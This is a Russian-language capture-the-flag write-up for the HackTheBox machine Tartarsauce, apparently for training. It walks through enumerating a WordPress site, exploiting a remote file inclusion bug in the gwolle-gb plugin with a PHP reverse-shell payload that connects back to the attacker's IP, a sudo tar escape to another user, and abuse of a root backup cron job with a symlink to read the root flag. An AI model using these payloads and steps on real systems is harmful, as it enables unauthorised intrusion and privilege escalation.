# Отчет по заданию Tartarsauce (HTB) **HTB Profile**: https://app.hackthebox.com/profile/activity/906355 **IP**: 10.10.10.88 **Domain**: tartarsauce.htb *добавим в /etc/hosts* ### Перечисление Используем nmap для перечисления портов ```bash= nmap -sS -T5 -n -Pn 10.10.10.88 ``` Используем ffuf для фаззинга директорий веб-приложения ```bash= ffuf -w .../SecLists/.../.../dirs.txt:VAR -u http://10.10.10.88/VAR -c ``` *(Про свои изыскания с monstra умалчиваю, т.к. вектор оказался тупиковый)* Находим http://10.10.10.88/webservices/wp/ Определяем что это wordpress (хотя и на глаз видно) ```bash= whatweb http://10.10.10.88/webservices/wp/ ``` ### Скан Вектора для получения получения первичного доступа через WP: 1. Брутфорс админки 2. Уязвимые плагины 3. Уязвимые темы 4. Бекапы, доступные извне 5. Креды, спрятанные где-то на страницах сайта Начнем с перечисления всех плагинов, тем и пользователей ```= wpscan --url http://tartarsauce.htb/webservices/wp/ -e p,t,u --plugins-detection aggressive --detection-mode aggressive ``` Находим устаревший плагин gwolle-gb ```= [+] gwolle-gb | Location: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/ | Last Updated: 2022-05-12T09:58:00.000Z | Readme: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt | [!] The version is out of date, the latest version is 4.2.2 | | Found By: Known Locations (Aggressive Detection) | - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200 ``` Который, согласно exploit-db может в RFI ```= http://[host]/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website] ``` ### Первичный доступ Попытаемся подсунуть свой php с нагрузкой Создаем файл system.php с reverse shell нагрузкой ```= <?php $sock=fsockopen("10.10.14.8",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes); ``` Поднимаем reverse_shell_tcp listener, используя MSF (для удобства) Поднимаем на своей машине http-сервер, используя python ```= python3 -m http.server 8080 ``` Переходим по ссылке http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.8/system.php В логах http-сервера наблюдаем, что Wordpress пытается забрать файл wp-load.php ```= 10.10.10.88 - - [02/Sep/2022 14:45:02] "GET /system.phpwp-load.php HTTP/1.0" 200 - ``` Меняем название system.php на wp-load.php Переходим по ссылке http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.8/ **DONE!** Сессия получена Апгрейдим до meterpreter ```= msf> sessions -u 1 ``` ### Горизонтальное продвижение Первое что смотрим ```= sudo -l ``` И сразу удача ```= (onuma) NOPASSWD: /bin/tar ``` Вспоминаем про https://gtfobins.github.io/gtfobins/tar/ ```= sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh ``` **Успех!** мы - onuma, пользовательский флаг у нас ### Повышение привилегий Воспользовавшись linpeas.sh находим странный архив /var/backups/onuma-www-dev.bak Причем файл обновляется раз в 5 минут (+/-) - какой-то cron, не иначе Чтобы отловить нужно смотреть запускаемые процессы, используем pspy, доставляем на машину через http-server python. ```= ./pspy32 ``` Видим странный процесс, запущенный от рута, /bin/bash /usr/sbin/backuperer, после которого и создаются архивы Изучим backuperer Видим, что: 1. архивируется директория /var/www/html 2. архив кладется в /var/tmp/.(какой-то хеш) 3. процесс засыпает на 30 секунд 4. далее распаковывает архив в директорию /var/tmp/check 5. используя diff выявляется разница между только что разархивированными данными и данными в папке /var/www/html Далее, нам нужно поймать момент запуска backuperer и выполнить следующие действия, пока процесс спит. 1. Разархивируем архив из /var/tmp/.(какой-то хеш) 2. Удаляем любой файл из распакованного архива и заменяем его на ссылку на рутовый флаг, например, ln -s /root/root.txt ./tmpbackup/var/www/html/robots.txt 3. Архивируем всё обратно 4. Ждем пока процесс проснется и выполнит diff 5. Чекаем файл с ошибками diff'а, находим рутовый флаг (т.к при сравнении с /var/www/html будет разница между архивами, которую diff нам и отобразит в лог) **Done!**